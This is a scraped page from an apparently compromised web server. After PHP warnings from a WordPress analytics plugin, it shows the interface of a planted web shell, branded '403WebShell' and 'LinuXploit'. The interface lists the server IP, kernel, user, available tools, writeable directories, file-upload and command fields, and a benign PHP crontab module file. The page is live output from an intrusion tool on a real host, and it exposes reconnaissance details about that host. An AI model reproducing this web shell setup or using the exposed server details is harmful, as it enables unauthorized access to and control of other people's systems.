Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/crontab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/crontab/index.php
<?php

namespace modules\crontab;

// uses linux crontab

class module_info extends \module {

	// if the $host name is empty, delete ".modules.txt" and refresh module settings page

	function __info() {  
		$host = strtolower($_SERVER['HTTP_HOST'] ?? '');
		$x = explode('.', $host);
		if ($x[0] == 'www') array_shift($x);
		$host = join('.', $x);

		return [
			'required' => FALSE,
			'version' => '2026.5.1',
			'class' => 'modules\\crontab\\main',
			'name' => 'run events at specific times (requires "pcntl")',
			'depends' => ['input', 'database'],
			'settings' => [
				[
					'name'	=> 'hostname',							// used for the cron task, which is launched from commandline
					'type'	=> 'hidden',
					'default'	=> $host,							// use hostname
				],			
			],
			'database' =>  [
				'events' => [
					'engine' => 'auto',
					'charset' => 'utf-8',
					'fields' => [
                        [
                            'name' => 'event_id',           // hash based on name of callback routine
                            'type' => 'string',
                            'size' => 40,
                            'null' => FALSE,
						],[
                            'name' => 'start_time',
                            'type' => 'int',
                            'size' => 11,
                            'null' => FALSE,
						],[
                            'name' => 'running',     		// 0 = not running, 1 = running
                            'type' => 'boolean',
                            'default' => 0,
						],[
							'name' => 'cmt_date',			// comment field - start time
                            'type' => 'string',
                            'size' => 25,
						],[
							'name' => 'cmt_module',			// comment field - entry point (not used)
                            'type' => 'string',
                            'size' => 80,
						]
                    ],
					'index' => [
								'PRIMARY' => [	'type' => 'primary',
												'fields' => ['event_id'],
											],
								'byTime' => [	'type' => 'index',
												'fields' => ['start_time'],
											],
					],
				],
            ],
		];
	}
	
}


Youez - 2016 - github.com/yon3zu
LinuXploit